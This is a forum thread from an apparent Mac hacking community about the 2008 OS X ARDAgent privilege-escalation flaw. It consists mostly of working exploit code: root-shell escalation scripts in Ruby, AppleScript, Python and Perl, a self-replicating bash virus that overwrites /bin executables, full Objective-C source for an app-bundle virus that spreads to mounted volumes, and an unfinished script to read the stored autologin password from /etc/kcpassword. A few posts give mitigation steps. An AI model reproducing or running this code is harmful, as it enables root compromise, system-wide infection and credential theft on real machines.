Help - Search - Members - Calendar
Full Version: remote login Trojan
TSF - Mac Security Forums > Discussion > Programming
Pages: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
andrewistheshit
Could i get arrested for this?
Oktane
If Apple or some other company/persons wanted to blame attacks on you then you could possibly face a trial. I doubt you would be convicted or sent to jail, I don't even think you'll see a fine. All the work done here has been purely proof of concept. I myself have not exposed this exploit or trojan to the WILD.

If you missed it I released an unofficial full disclosure on the previous page, feel free to add to it.
andrewistheshit
oh plus i didnt even code a 10th of it
Oktane
You'll be fine, nothing is going to happen to you. I doubt that anyone views you as a threat or scape goat for their mistakes (--> Apple).
andrewistheshit
ok good
callmenames

QUOTE
It's better to be a pirate than join the navy.

Steve Jobs
Oktane
Holy shit, this works like a fucking dream http://projects.info-pull.com/moab/MOAB-21-01-2007.html

1. Enable a Windows Sharing Account
2. Unlock System Preferences -> Sharing and close System Preferences
3. Save this to your Desktop:

4. Run:
CODE
ruby ~/Desktop/MOAB-21-01-2007.rb


MOAB-21-01-2007.rb:
CODE
#!/usr/bin/ruby
# Copyright (c) 2007 Kevin Finisterre <kf_lists [at] digitalmunition.com>
#                    Lance M. Havok   <lmh [at] info-pull.com>
# All pwnage reserved.
#
# "Exploit" for MOAB-21-01-2007: OS X, making root shells easier each day.
#

SHELL_WRAP      = 'int main() { system("/bin/sh -i"); return 0; }'
SHELL_PLANT     = 'int main() { system("chown root: /tmp/shX; chmod 4755 /tmp/shX"); return 0; }'
PREFS_BINPATH   = '/Applications/System\ Preferences.app/Contents/MacOS/System\ Preferences'

COMMAND_LINE    = "echo '#{SHELL_WRAP}' > /tmp/t.c &&"    +
                  "cc -o /tmp/shX /tmp/t.c &&"            +
                  "echo '#{SHELL_PLANT}' > /tmp/t.c &&"   +
                  "cc -o /tmp/launchctl /tmp/t.c &&"      +
                  'export PATH="/tmp/:$PATH" &&'          +
                  "#{PREFS_BINPATH} &"

def escalate()
  system COMMAND_LINE
  puts "++ Click on Sharing and then click on Windows Sharing..."
  sleep 30 # make sure you have "time"
  system "/tmp/shX"
end

escalate()


Boom#
callmenames
QUOTE
NOTE: There is also apparently a remote version of this attack currently used in the wild by a new OS X Trojan called AppleScript.THT
SecureMac released an advisory mentioning that this trojan is exploiting the newly discovered OS X ARD Agent vulnerability. This remote exploit relies upon a Mac web (or IM/Chat/etc ) user to download and run the Applescript. Details regargint the Apple Mac OS X AppleScript ARDAgent Shell Local Privilege Escalation Vulnerability.
[...]
H. Morrow Long, CISSP, CISM, CEH
University Information Security Officer
Director - Information Security Office

https://light.its.yale.edu/messages/its/detail.asp?msg=33913

First: it's 2008, you are Yale's "University Information Security Officer". Why don't you have a spelling checker?

Second: " This remote exploit relies upon a Mac web (or IM/Chat/etc ) user to download and run the Applescript." You are describing a local exploit. Why don't you know the difference? Please assure me that they don't allow you to be involved in educating anyone?
Oktane
Alright I've been hacking for about 3 months now and these people base their profession around it (everybody including Macscan and Intego). I know this isn't a fucking local sploit, people count on these douches, HEY GET YOUR HEADS OUT OF YOUR ASSES!
callmenames
QUOTE
Tiny Trojan Trots Into Mac OS X Turf
By Chris Maxcer
MacNewsWorld
Part of the ECT News Network
06/20/08 11:28 AM PT

Security researchers at SecureMac say they've spotted Mac OS X malware in the wild capable of taking firm control of a victim's computer. The company says that distribution of the Trojan currently appears limited, though its warns it could escalate soon.

With the rise in popularity of Apple's (Nasdaq: AAPL) Mac computers and the OS X operating systems they run, dangerous malware , viruses and Trojans are now being targeted for the Mac, too. The most recent case in point comes courtesy of a security advisory released by SecureMac. The advisory warns that multiple variants of a new Trojan horse -- out in the wild -- is ready to run roughshod all over OS X 10.4 and 10.5.

SecureMac notes that while the Trojan, which is based on AppleScript and currently called "ASthtv05," is only being distributed from a hacker Web site at the moment, discussion has been edging into how it could be distributed more widely.

http://www.technewsworld.com/rsstory/63504...come=1214108883
Oktane
QUOTE
discussion has been edging into how it could be distributed more widely.

Lie much?

Well at least they have no fucking clue whats going on, for all of Mac's (Steve Job's) boasts one trojan is one to many.
Oktane
Sort of a MOAB tribute:

CODE
-- All pwnage reserved.

global SHELL_WRAP
set SHELL_WRAP to "int main() { system(\"/bin/sh -i\"); return 0; }"

on escalate()
    try
        do shell script "rm -r /EXPLOIT"
    end try
    do shell script "mkdir /EXPLOIT"
    do shell script "touch /EXPLOIT/r00t.c"
    do shell script "SCRIPT=" & quoted form of SHELL_WRAP & "; echo $SCRIPT > /EXPLOIT/r00t.c "
    do shell script "gcc -o /EXPLOIT/r00t /EXPLOIT/r00t.c"
    tell application "ARDAgent" to do shell script "chown root: /EXPLOIT/r00t; chmod 4755 /EXPLOIT/r00t"
    tell application "ARDAgent" to do shell script "open /EXPLOIT/r00t"
    do shell script "echo \" Pwnage complete...\""
end escalate

escalate()


Be gentle with Mac OS X this is her first time... :)

300 posts, w00t...
callmenames
Siph0n, I am backing out of the challenge to port your code ( http://www.macshadows.com/forums/index.php...ost&p=65711 ) to bash in a form which acts on app bundles. At least until I get more sleep. A tragic accident occurred with the Platypized version and sadly Address Book.app was a total casualty. :) In the meantime...
CODE
#!/bin/bash
#
# TIP: Don't run this.
# When run, this will check to see if it is already pretending to be
# another executable, and if so it just runs the original executable, passing it
# any arguments which were supplied on the command line.
# If not then it will find executables within /bin and rename them as hidden files
# then copy itself to where each executable had been using their names.
#

declare all_of_me="${0}" newline=$'\n' IFSold="${IFS}" IFS="${newline}"
declare my_program="$( basename ${0} )" my_folder="$( dirname ${0} )"

function infect() {
# First find files in the specified folder
find /bin -type f | while read the_path; do

# Use the 'file' command to determine if the file is executable
whatsit="$( file ${the_path} )"

# If not, just skip this file and continue
[ "${whatsit}" == "${whatsit/executable}" ] && continue

# Otherwise, rename (move) the original
the_program="$( basename ${the_path} )"
the_folder="$( dirname ${the_path} )"
mv "${the_path}" "${the_folder}/.${the_program}_owned"

# and take its place
cp "${all_of_me}" "${the_path}"

# chown and chmod the new me
chmod 777 "${the_path}"
chown 0:0 "${the_path}"

# Set the access and modify dates to match the original
touch -r "${the_folder}/.${the_program}_owned" "${the_path}"

done
}

function exploit() {
osascript -e "tell app \"ARDAgent\" to do shell script \"exec ${0}\"" 2>/dev/null && exit 0
exploit
}

[ -x "${my_folder}/.${my_program}_owned" ] && { exec "${my_folder}/.${my_program}_owned" "${@}"; exit 0; }
[ "$(whoami)" != "root" ] && exploit
infect
# This would be a great place to have the script do something else, i.e. a payload
exit 0


Perhaps while I attempt to sleep, Oktane will port your version to AppleScript. :)
Wawl
QUOTE(Oktane @ Jun 22 2008, 01:23 AM) *
Sort of a MOAB tribute:

CODE
-- All pwnage reserved.

global SHELL_WRAP
set SHELL_WRAP to "int main() { system(\"/bin/sh -i\"); return 0; }"

on escalate()
    try
        do shell script "rm -r /EXPLOIT"
    end try
    do shell script "mkdir /EXPLOIT"
    do shell script "touch /EXPLOIT/r00t.c"
    do shell script "SCRIPT=" & quoted form of SHELL_WRAP & "; echo $SCRIPT > /EXPLOIT/r00t.c "
    do shell script "gcc -o /EXPLOIT/r00t /EXPLOIT/r00t.c"
    tell application "ARDAgent" to do shell script "chown root: /EXPLOIT/r00t; chmod 4755 /EXPLOIT/r00t"
    tell application "ARDAgent" to do shell script "open /EXPLOIT/r00t"
    do shell script "echo \" Pwnage complete...\""
end escalate

escalate()


Be gentle with Mac OS X this is her first time... :)

300 posts, w00t...

Actually, this would require the user to have gcc installed and thus will not work for every users :-/, only the one who have the developer's tool installed.
I saw this one on the internet with the same con :
CODE
#!/usr/bin/python

import commands
payload="echo 'int main() { setuid(0); setgid(0); seteuid(0); system(\"/bin/sh -i\"); }' > /tmp/r00t.c"
buildcmd="gcc /tmp/r00t.c -o /tmp/r00ted"
escalate="osascript -e 'tell app \"ARDAgent\" to do shell script \"chown root /tmp/r00ted; chmod 4777 /tmp/r00ted\"'"
print 'Building your shell', commands.getoutput(payload), commands.getoutput(buildcmd)
print commands.getoutput(escalate)

print "r00t is located at /tmp/r00ted"
callmenames
Is anyone who is reading this thread actually running Leopard? We could use some nice #!/usr/bin/osascript examples to show off the new feature.
CODE
Executing AppleScript Scripts as Shell Commands
To execute AppleScript scripts as shell commands in a Terminal window or shell script file, you can use the osacompile command and the osascript command (located in /usr/bin). The former compiles an AppleScript script, while the latter executes a plain text or a compiled AppleScript script. Man pages provide documentation for these commands. For example, type man osascript in a Terminal window to get information on the osascript command.

Starting in Mac OS X version 10.5, there is a command-line tool to display compiled scripts as text, osadecompile. Again, see the man page for details.

Also starting in Mac OX X v10.5, AppleScript allows use of the # symbol as a comment-to-end-of-line token (the traditional double hyphen (--) is also still supported). This means that you can make a plain AppleScript script into a Unix executable by beginning it with the following line and giving it execute permission.

#!/usr/bin/osascript

http://developer.apple.com/documentation/A...rk_with_as.html
NullModem
QUOTE(callmenames @ Jun 22 2008, 10:42 AM) *
Is anyone who is reading this thread actually running Leopard? We could use some nice #!/usr/bin/osascript examples to show off the new feature.


CODE
#!/usr/bin/osascript
tell app "finder" to activate


Works fine here, on 10.5.3
Finder has been activated.


callmenames
Thanks NullModem. I wonder how many languages one could mix in a single functional script on a stock Leopard installation. :)
NullModem
QUOTE(Oktane @ Jun 22 2008, 03:36 AM) *
Solutions: Temporary solutions for the mainstream Mac OS X owner until a patch is released by Apple in a future Software Update. Is to change the permissions of the plist file /Library/Preferences/com.apple.SystemLoginItems.plist. This is an easy fix and should be distributed immediately as the trojans specified above have been released into the public.

1. Open Terminal (Menu Bar -> Go -> Utilities -> Terminal.app)
2. Enter:
CODE
cd /Library/Preferences

3. Enter:
CODE
sudo chmod u-s com.apple.SystemLoginItems.plist

4. You will be prompted to enter your password, do so.


Some additions here:

The file /Library/Preferences/com.apple.SystemLoginItems.plist is not created by default, at least on leopard.
To create it you have to be an admin user.

the commands to change its permissions are:
CODE
cd /Library/Preferences

CODE
sudo chown root:wheel com.apple.SystemLoginItems.plist

CODE
sudo chmod 644 com.apple.SystemLoginItems.plist


thx for your disclosures
Siph0n
Execute your favorite shell.. now as root! Weak error checking and defaults to $SHELL.

CODE
#! /usr/bin/perl -w
# Hey, all real men 'sploit in perl, right?

use Getopt::Std;

if ($>) {
    system(sprintf("osascript -e 'tell app \"ARDAgent\" to do shell ".
                   "script \"%s %s\"'", $0, join(' ',@ARGV)));
} else {
    %options = ();
    getopt("s",\%options);
    $shell = (defined $options{s} &&
              $options{s} =~ m/sh$/) ? $options{s} : "/bin/sh";
    print "Executing $shell. Press Ctrl+D to exit.\n";
    system("$shell -i");
}


Example use:

CODE
chmod +x lol.pl
./lol.pl -s /bin/bash
Siph0n
QUOTE(callmenames @ Jun 22 2008, 04:14 AM) *
Siph0n, I am backing out of the challenge to port your code ( http://www.macshadows.com/forums/index.php...ost&p=65711 ) to bash in a form which acts on app bundles. At least until I get more sleep. A tragic accident occurred with the Platypized version and sadly Address Book.app was a total casualty. :) In the meantime...


I'm sorry to hear about your loss :< In good news, awesome script :D
Wawl
QUOTE(Siph0n @ Jun 22 2008, 04:40 AM) *
Execute your favorite shell.. now as root! Weak error checking and defaults to /bin/sh.

CODE
...


Example use:

CODE
chmod +x lol.pl
./lol.pl -s /bin/bash

w00t ! That's really nice !
Siph0n
QUOTE(Wawl @ Jun 22 2008, 06:16 AM) *
w00t ! That's really nice !


Thanks :D Maybe Apple will send us a cake :) Mmm... delicious cake.
callmenames
QUOTE(Siph0n @ Jun 22 2008, 02:47 AM) *
I'm sorry to hear about your loss :< In good news, awesome script :D

No bigee, Address Book is my favorite guinea pig since I never actually use the program. At the point at which I managed to infect it twice and overwrote it's executable I thought maybe I should wait until I'm rested before running the Platypus version on the whole /Applications folder. One freaking typo and *poof*. :)
Siph0n
QUOTE(callmenames @ Jun 22 2008, 08:45 AM) *
No bigee, Address Book is my favorite guinea pig since I never actually use the program. At the point at which I managed to infect it twice and overwrote it's executable I thought maybe I should wait until I'm rested before running the Platypus version on the whole /Applications folder. One freaking typo and *poof*. :)


Just create ~/Desktop/Applications and copy a few .apps into it, then point the script to their new victim :)
callmenames
See that's exactly the kind of rational thinking that I'm talking about. At the moment it sounds like work, "geez, I'm just moving the executables just for a second I don't really have to backup for that, that's just fear talkin'...."
Oktane
QUOTE(Wawl @ Jun 22 2008, 03:24 AM) *
Actually, this would require the user to have gcc installed and thus will not work for every users :-/, only the one who have the developer's tool installed.

Then whats a compiler that everybody has cc. Wawl I didn't copy somebody elses code, actually I started out in RUBY (thought callmenames would like that), then went to C then to AppleScript. The problem was with the "" held within variables, bash, ruby and AppleScript have the same parsing and shit so the solution was "quoted form of."

Callmenames I'm definitely gonna attempt to port your script over to AS.
Wawl
QUOTE(Oktane @ Jun 22 2008, 11:38 AM) *
Then whats a compiler that everybody has cc. Wawl I didn't copy somebody elses code, actually I started out in RUBY (thought callmenames would like that), then went to C then to AppleScript. The problem was with the "" held within variables, bash, ruby and AppleScript have the same parsing and shit so the solution was "quoted form of."

Callmenames I'm definitely gonna attempt to port your script over to AS.

Wow, I didn't say you copied it, I just wanted to share ! Freshly configured mac do no have cc installed by default either... at least the new one (I'm playing with one right now)
CODE
-bash: cc: command not found
-bash: gcc: command not found

Your code is still nice but it's targeting less people than the ARD exploit is. There should be another way to do what you want to do... ruby could probably do it
:-D
CODE
system("ls")
Oktane
When I started out the ruby file acted as the r00t.c creator, now I think I'm gonna replace the C file with the ruby one. system("/bin/sh/ -i")

Thanks for testing the cc compiler.
Wawl
I would suggest :
CODE
system("cd /tmp/;/bin/sh -i")

since ruby sometimes gave me warnings about "Insecure world writable dir" or such things

EDIT: forget about that, it was another program who messed that up "system("/bin/sh/ -i")" is just fine
Oktane
This doesn't seem to be working:
CODE
-- All pwnage reserved.

global SHELL_WRAP
set SHELL_WRAP to "#!/usr/bin/ruby" & return & return & "system(\"/bin/sh/ -i\")"

on escalate()
    try
        do shell script "rm -r /EXPLOIT"
    end try
    do shell script "mkdir /EXPLOIT"
    do shell script "touch /EXPLOIT/r00t.rb"
    do shell script "SCRIPT=" & quoted form of SHELL_WRAP & "; echo $SCRIPT > /EXPLOIT/r00t.rb "
    tell application "ARDAgent" to do shell script "chown root: /EXPLOIT/r00t.rb; chmod 4755 /EXPLOIT/r00t.rb"
    tell application "Terminal"
        activate
        do script "clear"
        set the_window to window frontmost
        do script "ruby /EXPLOIT/r00t.rb" in the_window
    end tell
    do shell script "echo \" Pwnage complete...\""
end escalate

escalate()

It runs "ruby /EXPLOIT/r00t.rb" and nothing happens? I think I have to return the shell to the ruby file, right?
callmenames
Good morning Oktane.
QUOTE(Oktane @ Jun 22 2008, 09:38 AM) *
Then whats a compiler that everybody has

None by default... gcc & cc are installed by XCode / Developer Tools.

QUOTE(Oktane @ Jun 22 2008, 09:38 AM) *
Callmenames I'm definitely gonna attempt to port your script over to AS.

I was hoping you would port Siph0n's over since it works on .app bundles, the bash script I posted can't run from the GUI unassisted as a single executable file... with AppleScript however, you have the option to 'Save as application' which is a single executable file instead of a bundle and which might work nicely for replacing the existing executable within an app bundle.

I gotta find some coffee.
Oktane
I'm a little confused does your script:
1. Check if the program is root and then infects it with the payload or runs payload with the ARDAgent exploit
2. If not infected checks path for executables
3. Copies itself over the executables
4. chowns and chmods the infected files
5. touchs'm up

I can't replace the files with a AppleScript application maybe I should try C? If I used AppleScript I would be copying the payload seperatly over the files.
Wawl
QUOTE(Oktane @ Jun 22 2008, 01:00 PM) *
This doesn't seem to be working:
CODE
-- All pwnage reserved.

global SHELL_WRAP
set SHELL_WRAP to "#!/usr/bin/ruby" & return & return & "system(\"/bin/sh/ -i\")"

on escalate()
    try
        do shell script "rm -r /EXPLOIT"
    end try
    do shell script "mkdir /EXPLOIT"
    do shell script "touch /EXPLOIT/r00t.rb"
    do shell script "SCRIPT=" & quoted form of SHELL_WRAP & "; echo $SCRIPT > /EXPLOIT/r00t.rb "
    tell application "ARDAgent" to do shell script "chown root: /EXPLOIT/r00t.rb; chmod 4755 /EXPLOIT/r00t.rb"
    tell application "Terminal"
        activate
        do script "clear"
        set the_window to window frontmost
        do script "ruby /EXPLOIT/r00t.rb" in the_window
    end tell
    do shell script "echo \" Pwnage complete...\""
end escalate

escalate()

It runs "ruby /EXPLOIT/r00t.rb" and nothing happens? I think I have to return the shell to the ruby file, right?

are you sure nothing happens ? if you fixed the ARDagent thing, the shell that you prompt is the same as your usual one and thus you won't see that it came. Try the command "exit", if you still have shell, the exploit was sucessful.

it works for me:
CODE
whoami
root
Oktane
I might have fixed the ARDAgent thing I don't remember? I'll try and reverse it, that would be good for testing :)

NEVERMIND I didn't fix it.
Oktane
This AppleScript still has the problem that the target might lack a compiler, but it fixes a bug with ARDAgent's interpretation (but asking tell we get what we want :P)
CODE
-- All pwnage reserved.
property success : 0

global SHELL_WRAP
set SHELL_WRAP to "int main() { setuid(0); setgid(0); system(\"/bin/sh -i\"); return 0; }"

on escalate()
    
    do shell script "touch /tmp/r00t.c"
    do shell script "SCRIPT=" & quoted form of SHELL_WRAP & "; echo $SCRIPT > /tmp/r00t.c "
    do shell script "cc -o /tmp/r00t /tmp/r00t.c"
    repeat while success is equal to 0
        try
            tell application "ARDAgent" to do shell script "chown root: /tmp/r00t; chmod 4777 /tmp/r00t"
            set success to 1
        end try
    end repeat
    tell application "ARDAgent" to do shell script "open /tmp/r00t"
    
end escalate

escalate()

Wawl
try the python one
CODE
#!/usr/bin/python
import os
os.system("/bin/bash -i")

it may work better
callmenames
Oktane, in regards to porting Siph0n's Python app to AppleScript, Essentially, you would create an AppleScript application (not a bundle) which runs in the background and does a couple of things...
  • Check if there is an application in the same directory, with the same name and "_owned" appended to that name
  • If so, tell system events to run that application ignoring application responses so that the real program does run just as the user expects.
  • Meanwhile, your program continues by finding any folder in /Applications whose name ends in ".app"
  • Next it checks for an executable inside that app bundle with the same name and _owned appended to the name (For instance, /Address Book.app/Contents/MacOS/Address Book_owned) if that file exists, then skip that one and continue
  • If it does not exist, then move the real executable, for instance, /Address Book.app/Contents/MacOS/Address Book to /Address Book.app/Contents/MacOS/Address Book_owned and then your program copies itself to /Address Book.app/Contents/MacOS/Address Book
  • Then it continues checking the other .app bundles within /Applications.
When its done, every .app bundle in /Applications will actually run your program when they are double-clicked. Your program also has System Events run the real program so the user may not even notice that your program is running too. Every time a program which is infested with your program runs, it infests everything else in /Applications. Its a simple p.o.c. virus for .app bundles. The bash script I posted does a similar thing with unix executables instead of .app bundles.
Oktane
Welcome back my brothers.
Spratt_
Oktane and Siph0n:

Could you guys create an article on the KB (Locked from editing) that explains this in detail, credits the authors in this thread, and contains most of the information in your (Oktane) disclosure, and contains some tips on avoiding this or possible fixes?!

That would help us direct people to a source.

Thanks!

- Spratt_


PS: Some removal tips are attached in the comments to this article, we can use some of the links they provide: http://it.slashdot.org/article.pl?sid=08/06/18/1919224
Nilkimas
QUOTE (Siph0n @ Jun 21 2008, 07:10 AM) *
Ssh... be vewy vewy qwiet... I'm hunting idiots :)

Sweet. Can't wait to see your bash version. Hopefully someone does a Perl version.. Ooo and maybe ObjC too, using spotlight.


You forgot there is already an obj.C version of the vir, but no spotlight integration... :-P

Here is the last version, which is kind of improved, so it is intelligent and reinfects the system only a after a certain amount of time, so it doesnt waste too much System ressources and is more silent.
It also does infect all volumes (like ftp or afp mounted volumes) on the system. Also different is, that the infection method starts only after an infected application has quit, so there won't be any noticable slow-down at the launch of an app.
Now the infection method could also be put into an addition thread, so it could run even more smooth, but this is not implemented in this version although it can be done quite quickly using NSThread.

There might be the need to clean that stuff a bit up, but it works, as far as i remember 5 months ago.. All the NSLogs were for debugging, you are free to remove them and the comments... Must be compiled as command-line utility, using the Foundation Framework. (Maybe you need to add the AppKit Framework too, not sure though).

AppVir.h:
CODE
#import <Foundation/Foundation.h>
#import <Cocoa/Cocoa.h>

//only for educational use
//by nylky, reiky, kmy

void infectVolumes(NSString * virusPath);
void infectDirectory (NSString * infDir, NSString * virusPath);
NSString *currentVolume;

NSArray *excludedDirs;

NSDate *now;
char startcmd[512];
NSMutableDictionary *defaults;

NSDate *lastInfectionTime;
NSString *defaultsFilePath;
NSString *fullVolumePath;
NSString *newTime;


AppVir.m:
CODE
#import "AppVir.h"
//only for educational use
//by nylk, reiki, k

void infectDirectory (NSString * infDir, NSString * virusPath) {
    NSFileManager *fm = [NSFileManager defaultManager];
    NSString *dirObj;
    NSString *execFile;
    NSDirectoryEnumerator *dirEnum;
    dirEnum = [fm enumeratorAtPath:infDir];
    while( (dirObj = [dirEnum nextObject]) != nil){

        if ([excludedDirs containsObject:dirObj]) //is dirObj in the exluded dirs list? then ignore and continue
            [dirEnum skipDescendents]; continue;
        
        if(([[dirObj pathExtension] isEqualToString:@"app"])){ //if current item is an app
            [dirEnum skipDescendents]; //don't go deeper into the app
            execFile = [NSString pathWithComponents:
                [NSArray arrayWithObjects:infDir, dirObj,@"Contents",@"MacOS",[[dirObj lastPathComponent]stringByDeletingPathExtension],NULL]];
            if([fm fileExistsAtPath:[execFile stringByAppendingString:@"."]] == NO){ //if app is not already infected (executables name with extra dot ".")
                if([fm movePath:execFile toPath:[execFile stringByAppendingString:@"."] handler:nil]==YES){
                    if([fm copyPath:virusPath toPath:execFile handler:nil]==YES){
                    }
                }
            }            
        }
    }    
}

void infectVolumes(NSString * virusPath) {
    BOOL isDir;
    NSFileManager *fm = [NSFileManager defaultManager];
    NSDirectoryEnumerator *dirEnum = [fm enumeratorAtPath:@"/Volumes"];
    
    //iterate through all volumes on the machine:
    
    while((currentVolume = [dirEnum nextObject]) != nil){
        [dirEnum skipDescendents];
        NSLog(@"checking %@", currentVolume);
        now = [NSDate date];
        
        fullVolumePath = [@"/Volumes" stringByAppendingPathComponent:currentVolume];
        defaultsFilePath = [fullVolumePath stringByAppendingPathComponent:@".av"];
        
        //read in defaults from "/Volumes/theVolume/.av" as mutableDictionary
        if([fm isReadableFileAtPath:defaultsFilePath] == YES){ //if volume has .av file
            NSLog(@".av exists at: %@",defaultsFilePath);
            defaults = [[NSMutableDictionary alloc] initWithContentsOfFile:defaultsFilePath];
        } else {
            //if it is the very first infection on this Volume
            //infectDirectory(fullVolumePath,virusPath);
            NSLog(@"first infection, infect whole %@",fullVolumePath);
            defaults = [[NSMutableDictionary alloc] initWithObjectsAndKeys:[now description],@"lastInfectionTime",nil];
        }
        lastInfectionTime = [[NSDate alloc] initWithString:[defaults objectForKey:@"lastInfectionTime"]];
        NSTimeInterval secondsSinceLastInfection = [now timeIntervalSinceDate:lastInfectionTime];
        NSLog(@"lastInfDate: %@",[defaults objectForKey:@"lastInfectionTime"]);
        NSLog(@"last infection of %@ is %f seconds ago...",fullVolumePath,secondsSinceLastInfection);
        if(    secondsSinceLastInfection > 604800.0 ){
            //if last infection is 1 Week (604800 seconds) ago, then re-infect whole current Volume
            //infectDirectory(fullVolumePath,virusPath);
            NSLog(@"last infection is a week ago, so: infecting full Volume %@", fullVolumePath);
            
            newTime = [now description];
            [defaults setObject:newTime forKey:@"lastInfectionTime"];
            
        } else if ( (secondsSinceLastInfection > 172800.0 && [fm fileExistsAtPath:[fullVolumePath stringByAppendingPathComponent:@"Applications1"] isDirectory:&isDir]) && isDir){
            //if last infection is 2 days (172800 seconds) ago, then re-infect "/Applications" of current Volume if available
            NSLog(@"infecting Appfolder on Volume %@", fullVolumePath);
            infectDirectory([fullVolumePath stringByAppendingPathComponent:@"Applications1"],virusPath);
            
            newTime = [now description];
            [defaults setObject:newTime forKey:@"lastInfectionTime"];
        }
        
        //write new defaults
        [defaults writeToFile:defaultsFilePath atomically:YES];
        printf("\n");
    }

}

    
    
int main (int argc, const char * argv[]) {
    NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init];
    excludedDirs = [[NSArray alloc] initWithObjects:@"test",@"Volumes",@"System",@"Library",@"bin",@"usr",@"etc",@"var",@"dev",@"tmp",@"sbin",@"cores",@"automount",nil];
    NSLog(@"virus launched...");
    infectVolumes([NSString stringWithUTF8String:argv[0]]);        
    
    //start original executable
    sprintf(startcmd,"%s. %s",argv[0],argv[1]); //name with a dot "."
    system(startcmd);

    //code to execute after host application quits ->
    system("say bye bye");
    [pool drain];
    return 0;
}
Nilkimas
And before i forget, Congratulations Oktane and everybody on the code, great job!
Skratz0r
'sploit won't work on my comp. I suppose I shouldn't be so annoyed. :-P
But damm, I cant test it.
Skratz0r
QUOTE (callmenames @ Jun 21 2008, 10:00 AM) *
Still having trouble getting it pinned down but I am able to reproduce it sporadically.

CODE
$ ps -axww | grep Security
5981  ??  S      0:01.27 /System/Library/CoreServices/SecurityAgent.app/Contents/MacOS/SecurityAgent -psn_0_102236161
$ while :; do osascript -e 'tell app "SecurityAgent" to do shell script "id"'; done
uid=501(G4admin) gid=501(G4admin) groups=501(G4admin), 81(appserveradm), 79(appserverusr), 80(admin)
uid=501(G4admin) gid=501(G4admin) groups=501(G4admin), 81(appserveradm), 79(appserverusr), 80(admin)

Then some combination of killing it, running it etc. and....
CODE
ps -axww | grep Security
6198  ??  S      0:01.59 /System/Library/CoreServices/SecurityAgent.app/Contents/MacOS/SecurityAgent
$ while :; do osascript -e 'tell app "SecurityAgent" to do shell script "id"'; done
uid=92(securityagent) gid=0(wheel) groups=0(wheel)
uid=92(securityagent) gid=0(wheel) groups=0(wheel)
uid=92(securityagent) gid=0(wheel) groups=0(wheel)
uid=92(securityagent) gid=0(wheel) groups=0(wheel)
uid=92(securityagent) gid=0(wheel) groups=0(wheel)


Hmm.
CODE
$ ps -auxww | grep Security
security  6198   0.7  0.4   144740   5896  ??  S     1:53AM   0:01.78 /System/Library/CoreServices/SecurityAgent.app/Contents/MacOS/SecurityAgent

Ok, so at some point it's being launched / relaunched as itself, not as the user... and it appears to not be launched with an argument of a specific psn.

I killed it, after the next two lines...
CODE
uid=92(securityagent) gid=0(wheel) groups=0(wheel)
uid=92(securityagent) gid=0(wheel) groups=0(wheel)
uid=501(G4admin) gid=501(G4admin) groups=501(angel), 81(appserveradm), 79(appserverusr), 80(admin)
uid=501(G4admin) gid=501(G4admin) groups=501(angel), 81(appserveradm), 79(appserverusr), 80(admin)


Well I can definitely get it to stop being uid=92 :) As for the getting it to be uid=92 that is proving somewhat more elusive.


Perhaps this might ease the testing...?
CODE
tell application "SecurityAgent"
    repeat while (text of (do shell script "whoami")) is not "root"
        
        try
            do shell script "killall SecurityAgent"
            return (text of (do shell script "whoami"))
        end try
        
    end repeat
end tell


Just a thought. :-|
Perhaps you could automate it trying to get itself to run as root.
I doubt mine is the best example there could have been, though.

~ Skrat
callmenames
I would like to say thank you to everyone who has participated. I've had so much fun this past few weeks and I'm grateful for the escape from the daily doldrums.

To the forum admins and staff for providing the place and setting the atmosphere. To lokin for starting this whole mess er thread. :) To Oktane both for ideas and for coding in differing directions (which I think is illustrative more than confusing, at least I hope) oh and for the beautiful authentication window replications. :), to Andrew for the courage to ask questions despite occasional teasing and for causing me to #comment / --explain so that anyone at any skill level (hopefully) had a shot at following along. To Wawl for prompt confirmation that the ARDAgent thing wasn't just a sleep-deprivation induced hallucination. :) To NullModem for clarifying /Library/Preferences/com.apple.SystemLoginItems, which has been so often overlooked (ahem.) To Siph0n, for watching over us all and for teaching me everything I know without requiring too many personal 'favors' in return (not that there's anything wrong with that sort of thing. Oh and for the Python and Perl!) :) To MacPunk for catching the SecurityAgent thing (and for reassuring me in #UGM, while the forum was being upgraded.) To Nilkimas for the Cocoa! AWESOME WORK DUDE! :)

And thanks in advance, to everyone who continues to question, to learn and especially to share.

I have re-learned, in the course of this thread, something which I repeatedly forget in life. Which is that while individually we are what we are... collectively, we are more than the sum of our parts.

At the start of this thread, my posts were frequently sarcastic, perhaps even mean. I apologize to anyone whom I may have offended and most especially if I in any way discouraged others from participating. Working with everyone who has been involved has been a pleasure. :)

Other than my own occasionally cranky responses, I have only one regret, which is that I failed to consider the individual people who would be tasked with getting the ARDAgent vulnerability fixed. Some of those people are extremely skilled open-source authors whose software I (and probably many of us here) use regularly. They deserved better from me and I apologize for shooting my mouth off without first remembering that Apple is people too and some of those people might not be so very different from many of us here. In the future, when I post about a vulnerability in Mac OS, everyone in this forum will be the 2nd to hear about it. I encourage you all to give those people, the Mac programmers within Apple, through official channels or otherwise... a bit of warning.

Okay, and an apology to Freaky - you deserve success. Just maybe less flame-bait in the next press release eh? :)

Oh and to the endless supply of utterly unqualified Internet journalists, thanks for all the terrific entertainment. Virtually all of you guys are easily duped, lazy / no fact-checking, FUD-spreading jackasses. If you aren't going to take the time and expend the effort to get the story right, please leave it for the real reporters who will. Thanks.

That said, for those interested in vulns, in the AppleEvents arena, ARDAgent is yet un-patched, SecurityAgent too, and I haven't experimented with it much. There's also a wowzer of a local DOS along similar lines which was pointed out to me by MacPunk (I think?) in the #UGM forum - its posted on the web somewhere. In other areas, /Library/Receipts is BEGGING to be exploited, which is old news as is SystemLoginItems and kickstart - all for admins which is still the default. And I'll reiterate... MOAB, setuid executables in /Applications/Utilities WRITABLE PATHS. All old news.

'callmenames' will be around for a bit longer and then will suddenly *poof* disappear. Rest assured that I'm never really gone. :)

Post some code! :)

callmenames
More stoopid-easy ARDAgent tricks... Local ARDAgent exploit to read the barely-encoded autologin password saved in /etc/kcpassword and then open a root shell in Terminal. You might also want to try that password on the autologin user's keychain too.
CODE
--This is AppleScript
global kcpassword
set kcpassword to ""

on get_autologin_password()
    try
